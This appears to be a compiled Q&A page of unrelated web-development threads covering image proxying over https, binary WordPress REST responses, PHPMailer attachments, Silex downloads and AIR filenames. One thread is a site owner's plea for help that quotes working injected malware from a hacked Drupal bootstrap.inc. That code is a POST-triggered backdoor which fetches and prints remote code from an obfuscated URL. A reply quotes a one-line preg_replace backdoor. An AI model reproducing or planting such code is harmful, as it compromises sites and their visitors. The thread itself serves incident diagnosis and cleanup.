I have a website on which users can write blog posts. I'm using stackoverflow pagedown editor to allow users to add content & also the images by inserting their link.
But the problem is that in case a user inserts a link starting with http:// such as http://example.com/image.jpg, browser shows a warning saying,
Your Connection to this site is not Fully Secure.
Attackers might be able to see the images you are looking at
& trick you by modifying them
I was wondering how can we force the browser to use the https:// version of site only from which image is being inserted, especially when user inserts a link starting with http://?
Or is there any other solution of this issue?
image
unfortunately, browser expect to have all loaded ressources provided over ssl. On your case you have no choice than self store all images or create or proxy request from http to https. But i am not sure if is really safe to do this way.
for exemple you can do something like this :
i assume code is php, and over https
<?php
define('CHUNK_SIZE', 1024*1024); // Size (in bytes) of tiles chunk
// Read a file and display its content chunk by chunk
function readfile_chunked($filename, $retbytes = TRUE) {
$buffer = '';
$cnt = 0;
$handle = fopen($filename, 'rb');
if ($handle === false) {
return false;
}
while (!feof($handle)) {
$buffer = fread($handle, CHUNK_SIZE);
echo $buffer;
ob_flush();
flush();
if ($retbytes) {
$cnt += strlen($buffer);
}
}
$status = fclose($handle);
if ($retbytes && $status) {
return $cnt; // return num. bytes delivered like readfile() does.
}
return $status;
}
$filename = 'http://domain.ltd/path/to/image.jpeg';
$mimetype = 'image/jpeg';
header('Content-Type: '.$mimetype );
readfile_chunked($filename);
Credit for code sample
_ UPDATE 1 _
Alternate solution to proxify steamed downloaded file in Python
_ UPDATE 2 _
On following code, you can stream data from remote server to your front-end client, if your Django application is over https, content will be deliver correctly.
Goal is to read by group of 1024 bits your original images, them stream each group to your browser. This approch avoid timeout issue when you try to load heavy image.
I recommand you to add another layer to have local cache instead to download -> proxy on each request.
import requests
# have this function in file where you keep your util functions
def url2yield(url, chunksize=1024):
s = requests.Session()
# Note: here i enabled the streaming
response = s.get(url, stream=True)
chunk = True
while chunk :
chunk = response.raw.read(chunksize)
if not chunk:
break
yield chunk
# Then creation your view using StreamingHttpResponse
def get_image(request, img_id):
img_url = "domain.ltd/lorem.jpg"
return StreamingHttpResponse(url2yield(img_url), content_type="image/jpeg")
Related
I am writing a custom endpoint for a REST api in wordpress, following the guide here: https://developer.wordpress.org/rest-api/extending-the-rest-api/adding-custom-endpoints/
I am able to write a endpoint that returns json data. But how can I write an endpoint that returns binary data (pdf, png, and similar)?
My restpoint function returns a WP_REST_Response (or WP_Error in case of error).
But I do not see what I should return if I want to responde with binary data.
Late to the party, but I feel the accepted answer does not really answer the question, and Google found this question when I searched for the same solution, so here is how I eventually solved the same problem (i.e. avoiding to use WP_REST_Response and killing the PHP script before WP tried to send anything else other than my binary data).
function download(WP_REST_Request $request) {
$dir = $request->get_param("dir");
// The following is for security, but my implementation is out
// of scope for this answer. You should either skip this line if
// you trust your client, or implement it the way you need it.
$dir = sanitize_path($dir);
$file = $request->get_param("file");
// See above...
$file = sanitize_path($file);
$sandbox = "/some/path/with/shared/files";
// full path to the file
$path = $sandbox.$dir.$file;
$name = basename($path);
// get the file mime type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $path);
// tell the browser what it's about to receive
header("Content-Disposition: attachment; filename=$name;");
header("Content-Type: $mime_type");
header("Content-Description: File Transfer");
header("Content-Transfer-Encoding: binary");
header('Content-Length: ' . filesize($path));
header("Cache-Control: no-cache private");
// stream the file without loading it into RAM completely
$fp = fopen($path, 'rb');
fpassthru($fp);
// kill WP
exit;
}
I would look at something called DOMPDF. In short, it streams any HTML DOM straight to the browser.
We use it to generate live copies of invoices straight from the woo admin, generate brochures based on $wp_query results etc. Anything that can be rendered by a browser can be streamed via DOMPDF.
My Goal:
Use AddStringAttachment() to send a auto-generated base64 string as a .pdf file to another email address.
Coding Environment:
I'm working on WordPress with a ajax call passing a base64 string to the server. The size of the string is usually around 30kbs, it can be guaranteed not exceeding over 50kbs. I have MAX_EXECUTION_TIME 120s.
What I've Been Working Through:
I succeeded:
Sending plain text body
Sending a small .txt file
I failed:
Sending base64 string using AddStringAttachment(). The server returns me a 504 Gateway Time-out error most of time, even if $mail->send() function passes through, I can only receive a corrupt .pdf file with 10kbs bigger than original size.
Sending a already exist .pdf file with AddAttachment(), The server also returns me a 504 Gateway Time-out error, and I also get a warning like Resource interpreted as Document but transferred with MIME type application/pdf
My Code:
function sendPdf() {
$mail = new PHPMailer(true);
//Server settings
$mail->SMTPDebug = 2; // Enable verbose debug output
$mail->isSMTP(); // Set mailer to use SMTP
$mail->Host = 'smtp.hostinger.com'; // Specify main and backup SMTP servers
$mail->SMTPAuth = true; // Enable SMTP authentication
$mail->Username = 'janice#popper.ga'; // SMTP username
$mail->Password = 'secret'; // SMTP password
$mail->SMTPSecure = 'tls'; // Enable TLS encryption, `ssl` also accepted
$mail->Port = 587; // TCP port to connect to
//Recipient
$mail->SetFrom('janice#popper.ga');
$mail->AddAddress( 'xxxxxxxx#gmail.com' );
$pdf_base64 = $_POST[pdfString];
//Content
$mail->isHTML(true); // Set email format to HTML
$mail->Subject= ' New Application Form ';
$mail->Body= ' New Application Form From WordPress site ';
//Attachment
//$mail->AddStringAttachment($pdf_base64, $_POST[clientName].'_Application.pdf', 'base64', 'application/pdf');
//$mail->AddAttachment(dirname(__FILE__)."/Qian_Zhong_Application.pdf", 'Qian_Zhong_Application.pdf');
$error = '';
if(!$mail->send()){
$error = 'Mail error: '.$mail->ErrorInfo;
echo $error;
}else{
echo 'Message has been sent.';
}
exit; // This is required to end AJAX requests properly.
}
The data you pass in to addStringAttachment should be raw binary, not encoded in any way, as PHPMailer will take care of that for you. It will also set the encoding and MIME type from the filename you provide, so you do not need to set them manually.
Using a debugger would allow you to watch the script as it runs so you would be able to see exactly what it’s having trouble with. Any error 500s will cause errors to be logged in your web server logs and will usually provide more info.
I would also recommend against using $_POST[clientName] like that without any filtering or validation - you should never trust user input like that.
My hosting provider warned me that my bootstrap.inc file is connecting to an infected host. The issue is meant to be happening between 771 and 808 line of includes/bootstrap.inc file (code below).
This file is somehow changed constantly (once a week), from 120kb to 123kbs. Wherever this happens, I try to upload a clean file. If the file is changed/hacked, my hosting response is longer by 10-15 seconds.
The drupal 7 is updated to 7.41, the modules are up to date.
The code that's causing the issue, is somewhere between those lines (I suspect its the "cookie" part). This is the infected/added part my hosting provider warned me about:
$_passssword = '2505363ea355401256fe974720d85db8';
$p = $_POST;
if (#$p[$_passssword] AND #$p['a'] AND #$p['c']) #$p[$_passssword](#$p['a'], #$p['c'], '');
if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) {
echo('<!--checker_start ');
$tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');
echo(substr($tmp, 50));
echo(' checker_end-->');
}
unset($_passssword);
$bad_url = false;
foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
if (preg_match($regex, $_SERVER['REQUEST_URI'])) {
$bad_url = true;
break;
}
}
$cookie_name = 'PHP_SESSION_PHP';
if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) {
// setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
// $url = base64_decode('a3d3czksLDA2LTs0LTUwLToxLGFvbGQsPGJvc2tiJXZ3blxwbHZxYGY+NDMwMDc5NDsyMjcyOTI6MjE=');
$url = decrypt_url('a3d3czksLDA2LTs0LTUwLToxLGFvbGQsPGJvc2tiJXZ3blxwbHZxYGY+NDMwMDc5NDsyMjcyOTI6MjE=');
$code = request_url_data($url);
// if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
$echo_done = true;
print $decoded;
}
}//iend
I'm no back-end developer and I've been using bootstrap for hobby related-project for over 8 years.
I tried to clean D7 (reuploaded fresh includes, modules and everything apart from /sites/). Tried to check this on some popular scanners.
Does anyone have any idea, how to block this changes to bootstrap.inc? Are there any successful tools for that, or modules for scanning? Or maybe someone recognizes the exploit and could give me a tip where its coming from?
Thank you in advance.
I had the same hack on my Drupal site. The code they put in the bootstrap.inc file looked almost identical to yours.
Apart of the changes to the bootstrap.inc the hackers installed multiple backdoors in various modules. I was able to find the backdoors using the Hacked module, which allows you to find modified files.
The backdoors in my Drupal looked similar to this code:
<?php #preg_replace('/(.*)/e', #$_POST['ttqdgkkfkolmt'], '');
This code uses a vulnerability in preg_replace, which allows the attackers to execute random PHP code using a simple HTTP post request. (The preg_replace vulnerably is resolved in PHP version > 5.5)
Hope this helped. Good luck finding the backdoors!
In silex I can do this to force-download a file:
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\ResponseHeaderBag;
$app = new Silex\Application();
// Url can be http://pathtomysilexapp.com/download
$app->get('/download', function (Request $request) use ($app) {
$file = '/path/to/download.zip';
if( !file_exists($file) ){
return new Response('File not found.', 404);
}
return $app->sendFile($file)->setContentDisposition(ResponseHeaderBag::DISPOSITION_ATTACHMENT, 'download.zip');
});
$app->run();
This works well for smaller files. However my use case requires downloading a big that can be paused/resumed by a download manager.
There is an example about file streaming but it doesn't seem to be what I am looking for. Has somebody done this before? I could just use the answer from here and be done with it. But it would be nice if there is a silexy way of doing this.
Implementing it is quite trivial if you have a the file on the drive. It is like paginating records from a table.
Read the headers, open the file, seek to the desired position and read the the size requested.
You only need to know a little bit about the headers from the request & response.
Does the server accept ranges:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests
HTTP 206 status for content ranges:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/206
Info about the content range headers:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Range
in our AIR application, I want to user to be able to download a file to a location of his choice. This can be easily done with:
var fileReference:FileReference = new FileReference();
fileReference.download( request );
The URLRequest points to a servlet http://myserver/myapp/download. If I do a navigateToUrl in our web application, the browser will properly use the filename put in the HTTP header by the server. However, in the AIR application, it will propose download as the file name for the user (because this is the last part of the URL probably).
How can I make sure the download in the AIR application will also use that name?
I am aware that the download method has an optional 2nd parameter to set the default file name, but I don't know what is in the HTTP header as file name at compile time of the client.
I managed to do it with the following code:
var stream:URLStream = new URLStream();
stream.addEventListener( HTTPStatusEvent.HTTP_RESPONSE_STATUS, function ( event:HTTPStatusEvent ):void
{
var fileName:String;
for each(var requestHeader:URLRequestHeader in event.responseHeaders)
{
if (requestHeader.name == "Content-Disposition")
{
fileName = requestHeader.value.substring( requestHeader.value.indexOf( "=" ) + 2, requestHeader.value.length - 1 );
logger.info( "Found filename in HTTP headers: {0}", [fileName] );
break;
}
}
stream.close();
logger.info("Start file download...");
var fileReference:FileReference = new FileReference();
fileReference.addEventListener(Event.COMPLETE, download_completeHandler );
fileReference.addEventListener(ProgressEvent.PROGRESS, download_progressHandler );
fileReference.download( request, fileName );
} );
stream.load( request );
I first use the URLStream class to get the HTTP headers. As soon as I have the headers, I close the stream (since it is a big file, I don't want to download the actual data just yet). From the headers, I extract the filename that is in the Content-Disposition part and use that name as the default name to pass into FileReference.download() method.